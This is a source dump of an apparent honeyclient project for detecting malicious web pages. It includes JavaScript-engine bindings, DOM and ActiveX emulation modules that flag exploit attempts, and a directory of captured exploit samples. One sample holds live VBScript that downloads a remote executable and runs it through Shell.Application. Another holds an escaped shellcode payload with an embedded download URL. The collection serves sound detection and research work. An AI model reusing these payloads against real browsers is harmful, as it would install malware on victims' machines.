/modules/honeyjs/tests/test-errors.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.cx() 8 | def test_raise_js_error(cx): 9 | t.raises(Exception, cx.execute, 'throw("foo");') 10 | 11 | @t.cx() 12 | def test_raise_js_error_in_function(cx): 13 | func = cx.execute("function(doc) {throw(\"error\");};") 14 | t.raises(Exception, func) 15 | 16 | @t.cx() 17 | def test_propogate_from_py(cx): 18 | def do_raise(): 19 | raise SystemExit() 20 | cx.add_global("do_raise", do_raise) 21 | t.raises(SystemExit, cx.execute, "do_raise();") 22 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-syntax-error.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | import traceback 7 | 8 | ERROR = 'File "", line 1, in ' \ 9 | 'SyntaxError: missing ) after formal parameters' 10 | 11 | @t.cx() 12 | def test_syntax_error(cx): 13 | try: 14 | cx.execute("function(asdf;") 15 | t.eq(1, 0) 16 | except: 17 | line = traceback.format_exc().split("\n")[-3].strip() 18 | t.eq(line, ERROR) 19 | 20 | @t.cx() 21 | def test_invalid_octal(cx): 22 | t.raises(t.JSError, cx.execute, "09;") 23 | 24 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/jsobject.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_JSOBJECT_H 10 | #define PYSM_JSOBJECT_H 11 | 12 | /* 13 | This is a representation of a JavaScript 14 | object in Python land. 15 | */ 16 | 17 | typedef struct { 18 | PyObject_HEAD 19 | Context* cx; 20 | jsval val; 21 | JSObject* obj; 22 | } Object; 23 | 24 | extern PyTypeObject _ObjectType; 25 | 26 | PyObject* make_object(PyTypeObject* type, Context* cx, jsval val); 27 | PyObject* js2py_object(Context* cx, jsval val); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /ActiveX/modules/MacrovisionFlexNet: -------------------------------------------------------------------------------- 1 | # MacrovisionJob, MacrovisionFlexNet 2 | # CVE-2007-2419, CVE-2007-5660, CVE-2007-6654, CVE-2007-0321, CVE-2007-0328 3 | 4 | 5 | 6 | 7 | def CreateJob(name,arg,job_id): 8 | add_alert('Macrovision ActiveX maybe download by AddFile()') 9 | 10 | 11 | def DownloadAndExecute(arg0,arg1,arg2,arg3,arg4): 12 | if len(arg1)>512: 13 | add_alert('Macrovision DownloadAndExecute( ) overflow') 14 | 15 | def AddFileEx(arg0,arg1,arg2,arg3,arg4,arg5,arg6): 16 | if len(arg2)>512: 17 | add_alert('Macrovision AddFileEx() overflow') 18 | 19 | 20 | 21 | 22 | 23 | self.CreateJob=CreateJob 24 | self.DownloadAndExecute=DownloadAndExecute 25 | self.AddFileEx=AddFileEx 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/hashcobj.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #ifndef PYSM_HASHCOBJ_H 10 | #define PYSM_HASHCOBJ_H 11 | 12 | /* 13 | A class to implement Python hashing of C pointers. 14 | */ 15 | 16 | typedef struct { 17 | PyObject_HEAD 18 | void* cobj; 19 | } HashCObj; 20 | 21 | extern PyTypeObject _HashCObjType; 22 | 23 | 24 | /* 25 | BIG FUCKING NOTE: This constructor never 26 | Py_INCREF's the returned object. 27 | */ 28 | PyObject* HashCObj_FromVoidPtr(void *cobj); 29 | void* HashCObj_AsVoidPtr(PyObject* self); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/runtime.h: -------------------------------------------------------------------------------- 1 | /* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- 2 | * 3 | * This file is originally written by Paul J. Davis, Z. Chen has modified it to 4 | * make the honeyjs package 5 | * 6 | * Copyright 2009 Paul J. Davis 7 | * 8 | * This file is part of the python-spidermonkey package released 9 | * under the MIT license. 10 | * 11 | */ 12 | 13 | #ifndef PYSM_RUNTIME 14 | #define PYSM_RUNTIME 15 | 16 | #include 17 | #include "structmember.h" 18 | 19 | #include 20 | 21 | typedef struct { 22 | PyObject_HEAD 23 | JSRuntime* rt; 24 | int is_traced; 25 | } Runtime; 26 | 27 | extern PyTypeObject _RuntimeType; 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /ActiveX/modules/SymantecBackupExec: -------------------------------------------------------------------------------- 1 | # Symantec BackupExec 2 | # CVE-2007-6016,CVE-2007-6017 3 | 4 | def Set_DOWText0(val): 5 | if len(val)>255: 6 | add_alert('SymantecBackupExec overflow with property _DOWText0') 7 | 8 | def Set_DOWText6(val): 9 | if len(val)>255: 10 | add_alert('SymantecBackupExec overflow with property _DOWText6') 11 | 12 | def Set_MonthText0(val): 13 | if len(val)>255: 14 | add_alert('SymantecBackupExec overflow with property _MonthText0') 15 | 16 | def Set_MonthText11(val): 17 | if len(val)>255: 18 | add_alert('SymantecBackupExec overflow with property _MonthText11') 19 | 20 | Attr2Fun['_DOWText0']=Set_DOWText0 21 | Attr2Fun['_DOWtext6']=Set_DOWText6 22 | Attr2Fun['_MonthText0']=Set_MonthText0 23 | Attr2Fun['_MonthText11']=Set_MonthText11 24 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-turnover.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | #def test_churn_runtimes(): 8 | # for i in range(1000): 9 | # rt = t.spidermonkey.Runtime() 10 | 11 | 12 | class Session(object): 13 | def __init__(self): 14 | self.key = None 15 | 16 | def set(self, key): 17 | self.key = key 18 | return self 19 | 20 | @t.rt() 21 | def test_churn_contexts(rt): 22 | for i in range(1000): 23 | cx = rt.new_context() 24 | cx.add_global('session', Session) 25 | data = cx.execute('new session().set("foo");') 26 | t.eq(data.key, "foo") 27 | 28 | -------------------------------------------------------------------------------- /modules/honeyjs/update-libjs.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash -e 2 | 3 | URL=http://ftp.mozilla.org/pub/mozilla.org/js/js-1.7.0.tar.gz 4 | 5 | CFG=spidermonkey/`uname -s`-`uname -m` 6 | DEST=spidermonkey/libjs 7 | CWD=`pwd` 8 | TMP=tmp 9 | 10 | if [ ! -d $TMP ]; then 11 | mkdir $TMP 12 | fi 13 | 14 | if [ ! -d $DEST ]; then 15 | mkdir $DEST 16 | fi 17 | 18 | if [ ! -d $CFG ]; then 19 | mkdir $CFG 20 | fi 21 | 22 | cd $TMP && wget -N $URL && tar -xvzf js-1.7.0.tar.gz && cd .. 23 | cd $TMP/js/src/ 24 | make -f Makefile.ref jscpucfg jskwgen 25 | cd $CWD 26 | 27 | for ext in `echo "c h msg tbl"`; do 28 | cp $TMP/js/src/*.$ext $DEST 29 | done 30 | 31 | rm $DEST/js.c 32 | rm $DEST/jscpucfg.* 33 | rm $DEST/jskwgen.* 34 | 35 | ./$TMP/js/src/jscpucfg > $CFG/jsautocfg.h 36 | ./$TMP/js/src/jskwgen > $CFG/jsautokw.h 37 | 38 | -------------------------------------------------------------------------------- /ActiveX/modules/RealPlayer: -------------------------------------------------------------------------------- 1 | # RealMedia RealPlayer Ierpplug.DLL ActiveX Control 2 | # CVE-2007-5601 3 | 4 | def DoAutoUpdateRequest(arg0,arg1,arg2): 5 | if len(arg0)>1000 or len(arg1)>1000: 6 | add_alert('RealPlayer 10.5 ierpplug.dll overflow in DoAutoUpdateRequest()') 7 | 8 | def PlayerProperty(arg): 9 | if len(arg)>1000: 10 | add_alert('RealPlayer 10.5 ierpplug.dll overflow in PlayerProperty()') 11 | elif arg=='PRODUCTVERSION': 12 | return '6.0.14.552' 13 | 14 | def Import(* arg): 15 | if len(arg)>0x8000: 16 | add_alert('RealPlayer 10.5 ierpplug.dll overflow in Import()') 17 | 18 | def SetConsole(val): 19 | # if len(val)>=32: 20 | add_alert('RealPlayer rmoc3260.dll overflow in Console property') 21 | 22 | self.DoAutoUpdateRequest=DoAutoUpdateRequest 23 | self.PlayerProperty=PlayerProperty 24 | self.Import=Import 25 | 26 | Attr2Fun['Console']=SetConsole 27 | -------------------------------------------------------------------------------- /DOM/unknown.py: -------------------------------------------------------------------------------- 1 | import config 2 | 3 | class unknown(object): 4 | # this class is used to simulate the member of DOM 5 | # object (especially 'document') which we haven't 6 | # implemented. it's both unnecessary and hard to 7 | # simulate all member of every DOM object. 8 | def __init__(self, *arg): 9 | pass 10 | 11 | def __getattr__(self, name): 12 | return unknown() 13 | 14 | def __getitem__(self, key): 15 | return unknown() 16 | 17 | def __call__(self, *arg): 18 | return unknown() 19 | 20 | def __setattr__(self, name, val): 21 | config.VERBOSE(config.VERBOSE_DEBUG, 22 | "[DEBUG] in unknown.py: Attr %s set to: %s" % (name, val, )) 23 | 24 | def __setitem__(self, key, val): 25 | pass 26 | 27 | def __noSuchMethod__(self, name, *arg): 28 | pass 29 | 30 | -------------------------------------------------------------------------------- /ActiveX/modules/MicrosoftXMLHTTP: -------------------------------------------------------------------------------- 1 | # Microsoft XMLHTTP 2 | 3 | def open(arg0, arg1, arg2 = True, arg3 = None, arg4 = None): 4 | _url = str(arg1) 5 | add_alert('[*] Microsoft XMLHTTP') 6 | add_alert("[*] Method : " + arg0) 7 | add_alert("[*] URL : " + _url) 8 | 9 | urls = set() 10 | if _url.startswith("/"): 11 | for base in os.environ['PHONEYC_URLBASE'].split(";"): 12 | urls.add(base + _url) 13 | else: 14 | urls.add(_url) 15 | 16 | from HTTP.HttpHoneyClient import hc 17 | import hashlib 18 | 19 | for url in urls: 20 | h = hashlib.md5() 21 | print "[*] Fetching %s" % (url, ) 22 | content, headers = hc.get(str(url)) 23 | h.update(content) 24 | filename = "log/downloads/binaries/%s" % (h.hexdigest(), ) 25 | add_alert("[*] Saving File: " + filename) 26 | fd = open(filename, 'wb') 27 | fd.write(content) 28 | fd.close() 29 | 30 | self.open = open 31 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-python-ctor.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | touched = 0 8 | class Foo(object): 9 | def __init__(self): 10 | self.bar = 2 11 | def __del__(self): 12 | global touched 13 | touched = 1 14 | 15 | @t.glbl("Foo", Foo) 16 | def test_py_ctor_right_type(cx, glbl): 17 | t.eq(isinstance(cx.execute("var f = new Foo(); f;"), Foo), True) 18 | 19 | @t.glbl("Foo", Foo) 20 | def test_py_ctor_attribute_acc(cx, glbl): 21 | t.eq(cx.execute("var f = new Foo(); f;").bar, 2) 22 | 23 | @t.glbl("Foo", Foo) 24 | def test_py_dtor_called(cx, glbl): 25 | t.eq(cx.execute('var f = {"baz": new Foo()}; f;').baz.bar, 2) 26 | cx.execute("delete f.baz;") 27 | cx.gc() 28 | t.eq(touched, 1) 29 | -------------------------------------------------------------------------------- /samples/4986.html: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | Namo Web Editor NamoInstaller.dll install Method Exploit 15 | 23 | 24 | 25 | 26 | Unable to create object 27 | 28 | 29 | 30 | 31 | tml> 32 | 33 | --> 34 | 35 | # milw0rm.com [2008-01-25] 36 | -------------------------------------------------------------------------------- /modules/libemu/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from distutils.core import setup 3 | from distutils.extension import Extension 4 | import commands 5 | 6 | def pkgconfig(*packages, **kw): 7 | flag_map = {'-I': 'include_dirs', '-L': 'library_dirs', '-l': 'libraries'} 8 | for token in commands.getoutput("pkg-config --libs --cflags %s" % ' '.join(packages)).split(): 9 | kw.setdefault(flag_map.get(token[:2]), []).append(token[2:]) 10 | return kw 11 | 12 | setup( 13 | name = 'libemu', 14 | version = '@VERSION@', 15 | description = 'Python interface to the libemu x86 emulator', 16 | author = 'Z. Chen, Georg Wicherski', 17 | author_email = 'czj.pub@gmail.com, gw@mwcollect.org', 18 | url = 'http://code.google.com/p/phoneyc/, http://libemu.mwcollect.org/', 19 | ext_modules=[ 20 | Extension("libemu", ["libemu_module.c"],**pkgconfig('libemu')), 21 | ], 22 | ) 23 | -------------------------------------------------------------------------------- /samples/JetAudioDownloadFromMusicStore.htm: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 12 | 13 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /samples/4427.html: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 12 | 13 | 27 | 28 | 29 | # milw0rm.com [2007-09-19] 30 | -------------------------------------------------------------------------------- /samples/4829.html: -------------------------------------------------------------------------------- 1 | 3 | 4 | 14 | 15 |
16 | 

DivX SetPassword (npUpload.dll) Denial of Service

17 | Tested on IE 7 and Divx Player 6.6.0 18 | 19 | Registers: 20 | 21 | EAX 00000000 22 | ECX FFFFFFFF 23 | EDX 0191CA50 24 | EBX 008E06E0 25 | ESP 0191C9E4 26 | EBP 0191CA50 27 | ESI 00000000 28 | EDI 00000000 29 | EIP 061F2B52 npUpload.061F2B52 30 | 31 | Access violation when reading [00000000]... 32 | 33 | 34 | Discovered by shir, 02/01/2007 35 | 36 | Crash... 37 |
38 | 39 | # milw0rm.com [2008-01-02] 40 | -------------------------------------------------------------------------------- /samples/RDSDataSpace.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | onerrorresumenext 4 | dl="http://www.baidu.com/go.exe" 5 | Setdf=document.createElement("object") 6 | df.setAttribute"classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 7 | str="Microsoft.XMLHTTP" 8 | Setx=df.CreateObject(str,"") 9 | a1="Ado" 10 | a2="db." 11 | a3="Str" 12 | a4="eam" 13 | str1=a1&a2&a3&a4 14 | str5=str1 15 | setS=df.createobject(str5,"") 16 | S.type=1 17 | str6="GET" 18 | x.Openstr6,dl,False 19 | x.Send 20 | fname1="g0ld.com" 21 | setF=df.createobject("Scripting.FileSystemObject","") 22 | settmp=F.GetSpecialFolder(2) 23 | S.open 24 | fname1=F.BuildPath(tmp,fname1) 25 | 26 | S.writex.responseBody 27 | S.savetofilefname1,2 28 | S.close 29 | setQ=df.createobject("Shell.Application","") 30 | Q.ShellExecutefname1,"","","open",0 31 | 32 | 33 | Oh,mygod! 34 | 35 |
YouDOit!
36 | 37 | 38 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-roundtrip.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.echo() 8 | def test_roundtrip_int(echo): 9 | t.eq(echo(42), 42) 10 | 11 | @t.echo() 12 | def test_roundtrip_float(echo): 13 | t.eq(echo(42.5), 42.5) 14 | 15 | @t.echo() 16 | def test_roundtrip_str(echo): 17 | t.eq(echo("spam"), "spam") 18 | 19 | @t.echo() 20 | def test_round_trip_None(echo): 21 | t.eq(echo(None), None) 22 | 23 | @t.echo() 24 | def test_roundtrip_True(echo): 25 | t.eq(echo(True), True) 26 | 27 | @t.echo() 28 | def test_roundtrip_False(echo): 29 | t.eq(echo(False), False) 30 | 31 | @t.echo() 32 | def test_roundtrip_inf(echo): 33 | t.eq(echo(1E500*1E500), 1E500*1E500) 34 | 35 | @t.echo() 36 | def test_roundtrip_nan(echo): 37 | t.eq(type(echo(1E500/1E500)), float) 38 | t.ne(echo(1E500/1E500), 1E500/1E500) 39 | -------------------------------------------------------------------------------- /doc/papers/leet09/pics/example_walk.dot: -------------------------------------------------------------------------------- 1 | digraph "rrrryyyaa.cn/1/123.htm" { 2 | "rrrryyyaa.cn/1/123.htm" [shape=box, color=lightblue]; 3 | "rrrryyyaa.cn/1.exe" [shape=box, color=red]; 4 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/sina.htm"; 5 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/re11.htm"; 6 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/flash.htm"; 7 | "rrrryyyaa.cn/1/flash.htm" -> "rrrryyyaa.cn/1/fl/ffl.html"; 8 | "rrrryyyaa.cn/1/flash.htm" -> "rrrryyyaa.cn/1/fl/ifl.html"; 9 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/as.htm"; 10 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/office.htm"; 11 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/lz.htm"; 12 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/14.htm"; 13 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/NCTAudioFile.htm"; 14 | "rrrryyyaa.cn/1/123.htm" -> "rrrryyyaa.cn/1/re10.htm"; 15 | "rrrryyyaa.cn/1/NCTAudioFile.htm" -> "rrrryyyaa.cn/1.exe"; 16 | } -------------------------------------------------------------------------------- /samples/SonicWallNetExtenderAddRouteEntry.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 24 | 25 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-runtime.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.rt() 8 | def test_creating_runtime(rt): 9 | t.ne(rt, None) 10 | 11 | def test_create_no_memory(): 12 | rt = t.spidermonkey.Runtime(1) 13 | t.raises(RuntimeError, rt.new_context) 14 | 15 | def test_exceed_memory(): 16 | # This test actually tests nothing. I'm leaving it for a bit to 17 | # see if I hear about the bug noted below. 18 | rt = t.spidermonkey.Runtime(50000) 19 | cx = rt.new_context() 20 | script = "var b = []; var f = 1000; while(f-- > 0) b.push(2.456);" 21 | # I had this script below original and it triggers some sort of 22 | # bug in the JS VM. I even reduced the test case outside of 23 | # python-spidermonkey to show it. No word from the SM guys. 24 | # script = "var b = []; for(var f in 100000) b.push(2.456);" 25 | cx.execute(script) 26 | 27 | -------------------------------------------------------------------------------- /samples/VLC.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/double.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #include "spidermonkey.h" 10 | 11 | jsval 12 | py2js_double(Context* cx, PyObject* obj) 13 | { 14 | jsval rval = JSVAL_VOID; 15 | double pyval = PyFloat_AsDouble(obj); 16 | if(PyErr_Occurred()) goto error; 17 | 18 | if(!JS_NewNumberValue(cx->cx, pyval, &rval)) 19 | { 20 | PyErr_SetString(PyExc_ValueError, "Failed to convert number."); 21 | goto error; 22 | } 23 | 24 | goto success; 25 | 26 | error: 27 | success: 28 | return rval; 29 | } 30 | 31 | PyObject* 32 | js2py_double(Context* cx, jsval val) 33 | { 34 | double rval; 35 | 36 | if(!JS_ValueToNumber(cx->cx, val, &rval)) 37 | { 38 | PyErr_SetString(PyExc_TypeError, "Invalid JS number value."); 39 | return NULL; 40 | } 41 | 42 | return PyFloat_FromDouble(rval); 43 | } 44 | -------------------------------------------------------------------------------- /test/qvod.js: -------------------------------------------------------------------------------- 1 | var Cuteqqaddress; 2 | Cuteqqaddress = 0x05050505; 3 | var EvilCute; 4 | EvilCute = window['unescape']("%u90"+"90" + 5 | "%u9090%u54eb%u758b%u8b3c%u3574" + 6 | "%u0378%u56f5%u768b%u0320%u33f5" + 7 | "%u49c9%uad41%udb33%u0f36%u14be" + 8 | "%u3828%u74f2%uc108%u0dcb%uda03" + 9 | "%ueb40%u3bef%u75df%u5ee7%u5e8b" + 10 | "%u0324%u66dd%u0c8b%u8b4b%u1c5e" + 11 | "%udd03%u048b%u038b%uc3c5%u7275" + 12 | "%u6d6c%u6e6f%u642e%u6c6c%u4300" + 13 | "%u5c3a%u2e55%u7865%u0065%uc033" + 14 | "%u0364%u3040%u0c78%u408b%u8b0c" + 15 | "%u1c70%u8bad%u0840%u09eb%u408b" + 16 | "%u8d34%u7c40%u408b%u953c%u8ebf" + 17 | "%u0e4e%ue8ec%uff84%uffff%uec83" + 18 | "%u8304%u242c%uff3c%u95d0%ubf50" + 19 | "%u1a36%u702f%u6fe8%uffff%u8bff" + 20 | "%u2454%u8dfc%uba52%udb33%u5353" + 21 | "%ueb52%u5324%ud0ff%ubf5d%ufe98" + 22 | "%u0e8a%u53e8%uffff%u83ff%u04ec" + 23 | "%u2c83%u6224%ud0ff%u7ebf%ue2d8" + 24 | "%ue873%uff40%uffff%uff52%ue8d0" + 25 | "%uffd7%uffff%u7468%u7074%u2f3a%u772f%u7777%u332e%u3036%u632e%u2e6e%u7873%u7378%u706e%u2e32%u6e63%u642f%u2e35%u7363%u0073"); 26 | 27 | -------------------------------------------------------------------------------- /ActiveX/modules/HPInfo: -------------------------------------------------------------------------------- 1 | # HP Info Center ActiveX Control 2 | # CVE-2007-6331, CVE-2007-6332, CVE-2007-6333 3 | 4 | 5 | def LaunchApp(prog, args, unk): 6 | add_alert("HP Info Center LaunchApp called to run: " + prog + " " + args) 7 | 8 | def SetRegValue(key, section, keyname, value): 9 | add_alert("HP Info Center SetRegValue: " + str(key) + "/" + str(section) + "/" + str(keyname) + " set to " + str(value)) 10 | 11 | def GetRegValue(key, section, keyname): 12 | add_alert("HP Info Center GetRegValue, reading: " + key + "/" + section + "/" + keyname) 13 | 14 | def EvaluateRules(): 15 | add_alert("HP Info Center EvaluateRules") 16 | 17 | def SaveToFile(path): 18 | add_alert("HP Software Update SaveToFile(), writes to " + path) 19 | 20 | def ProcessRegistryData(parm): 21 | add_alert("HP Info Center ProcessRegistryData: " + parm) 22 | 23 | self.LaunchApp = LaunchApp 24 | self.SetRegValue = SetRegValue 25 | self.GetRegValue = GetRegValue 26 | self.EvaluateRules = EvaluateRules 27 | self.SaveToFile = SaveToFile 28 | self.ProcessRegistryData = ProcessRegistryData 29 | -------------------------------------------------------------------------------- /samples/4869.html: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | Gateway Weblaunch ActiveX Control Insecure Method Exploit 13 | 22 | 23 | 24 | 25 | Unable to create object 26 | 27 | 28 | 29 | 30 | # milw0rm.com [2008-01-08] 31 | -------------------------------------------------------------------------------- /DOM/Array.py: -------------------------------------------------------------------------------- 1 | 2 | class Array(object): 3 | def __init__(self, length=0): 4 | assert length >= 0 5 | self.length = length 6 | 7 | def __getitem__(self, key): 8 | if key in self.__dict__: 9 | return self.__dict__[key] 10 | return None 11 | 12 | def __setitem__(self, key, value): 13 | self.__dict__[key] = value 14 | if isinstance(key, int) and key >= self.length: 15 | self.length = key + 1 16 | 17 | def append(self, obj): 18 | self[self.length] = obj 19 | 20 | def remove(self, obj): 21 | for key in self.__dict__: 22 | if self.__dict__[key] == obj: 23 | del self.__dict__[key] 24 | if isinstance(key, int) and key >= 0: 25 | for k in self.__dict__: 26 | if isinstance(k, int) and k > key: 27 | self.__dict__[k - 1] = self.__dict__[k] 28 | del self.__dict__[k] 29 | length -= 1 30 | break 31 | 32 | def push(self, obj): 33 | self.append(obj) 34 | 35 | -------------------------------------------------------------------------------- /samples/HPInfo_LaunchApp.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /samples/NessusScanCtrl.htm: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 15 | 16 | 17 | 18 | 24 | 25 | 26 | 27 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /ActiveX/modules/PDFAcroPDF: -------------------------------------------------------------------------------- 1 | # execute arbitrary code via a long argument string to the (1) src, (2) setPageMode, (3) setLayoutMode, and (4) setNamedDest methods in an AcroPDF ActiveX control 2 | # CVE-2006-6236 3 | 4 | def Setsrc(* args): 5 | add_alert('AcroPDF ActiveX control is to execute arbitrary code via a long argument string to the src') 6 | 7 | 8 | def setPageMode(* args): 9 | add_alert('AcroPDF ActiveX control is to execute arbitrary code via a long argument string to the setPageMode()') 10 | 11 | 12 | def setLayoutMode(* args): 13 | add_alert('AcroPDF ActiveX control is to execute arbitrary code via a long argument string to the setLayoutMode()') 14 | 15 | 16 | def setNamedDest(* args): 17 | add_alert('AcroPDF ActiveX control is to execute arbitrary code via a long argument string to the seNamedDest()') 18 | 19 | def LoadFile(arg0): 20 | if len(arg0)>6000: 21 | add_alert('AcroPDF ActiveX control is to execute arbitrary code via a long argument string to the LoadFile()') 22 | 23 | Attr2Fun['src']=Setsrc 24 | 25 | self.setPageMode=setPageMode 26 | self.setLayoutMode=setLayoutMode 27 | self.setNamedDest=setNamedDest 28 | self.LoadFile=LoadFile 29 | -------------------------------------------------------------------------------- /modules/honeyjs/THANKS: -------------------------------------------------------------------------------- 1 | 2 | Thanks For Patches and Pointers 3 | =============================== 4 | 5 | benoitc 6 | * build system tweaks, compiling on OpenBSD 7 | 8 | Mark Lee 9 | * Patch for iterating JS arrays in Python 10 | * Patch to allow linking against Xulrunner's libmozjs 11 | 12 | sk89q 13 | * Info for FreeBSD builds 14 | 15 | spahl 16 | * Heads up on the signal hack and fix for a compiler warning. 17 | * Bug #16 integer property lookup failure report and fix. 18 | * Bug #17 add_property segfault when value is null. 19 | 20 | Mike West 21 | * Reported bug in Context.max_time 22 | * Better test for test_exceeds_time 23 | * Reported missing pkg-config requirement 24 | 25 | Riccardo Pelizzi 26 | * Bug report for global handlers and "function foo() {}" syntax. 27 | 28 | Keiji Costantini 29 | * Bug report on the memory limit test. 30 | 31 | Richard Boulton 32 | * Initial patch for filtering Python access. 33 | 34 | marc 35 | * Report on Context turnover causing segfaults. 36 | 37 | Scott T Silliman 38 | * Provided Gentoo package names. 39 | 40 | Roberto De Almeida 41 | * Pointer on MANIFEST.in 42 | -------------------------------------------------------------------------------- /modules/honeyjs/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2009 Paul J. Davis 2 | 3 | Permission is hereby granted, free of charge, to any person 4 | obtaining a copy of this software and associated documentation 5 | files (the "Software"), to deal in the Software without 6 | restriction, including without limitation the rights to use, 7 | copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the 9 | Software is furnished to do so, subject to the following 10 | conditions: 11 | 12 | The above copyright notice and this permission notice shall be 13 | included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 16 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 17 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 18 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 19 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 20 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /ActiveX/modules/SnapshotViewer: -------------------------------------------------------------------------------- 1 | # Microsoft Access Snapshot Viewer 2 | # CVE-2008-2463 3 | 4 | object = self 5 | 6 | def PrintSnapshot(SnapshotPath = None, CompressedPath = None): 7 | global object 8 | 9 | from HTTP.HttpHoneyClient import hc 10 | import hashlib 11 | 12 | if SnapshotPath: 13 | object.SnapshotPath = SnapshotPath 14 | if CompressedPath: 15 | object.CompressedPath = CompressedPath 16 | 17 | add_alert('[*] Microsoft Access Snapshot Viewer') 18 | add_alert("[*] SnapshotPath : " + object.SnapshotPath) 19 | add_alert("[*] CompressedPath : " + object.CompressedPath) 20 | 21 | url = object.SnapshotPath 22 | urls = set() 23 | if url.startswith("/"): 24 | for base in os.environ['PHONEYC_URLBASE'].split(";"): 25 | urls.add(base + url) 26 | else: 27 | urls.add(url) 28 | 29 | for url in urls: 30 | print "[*] Fetching %s" % (url, ) 31 | h = hashlib.md5() 32 | content, headers = hc.get(str(url)) 33 | h.update(content) 34 | filename = "log/downloads/binaries/%s" % (h.hexdigest(), ) 35 | add_alert("[*] Saving File: " + filename) 36 | fd = open(filename, 'wb') 37 | fd.write(content) 38 | fd.close() 39 | 40 | self.PrintSnapshot = PrintSnapshot 41 | -------------------------------------------------------------------------------- /samples/4909.html: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | Macrovision FlexNet DownloadManager Insecure Methods Exploit 11 | 27 | 28 | 29 | 30 | Unable to create object 31 | 32 | 33 | 34 | 35 | # milw0rm.com [2008-01-14] 36 | -------------------------------------------------------------------------------- /samples/CreativeSoftAttack.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-iterate.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | js_for_script = """ 8 | var ret = []; 9 | for(var v in data) 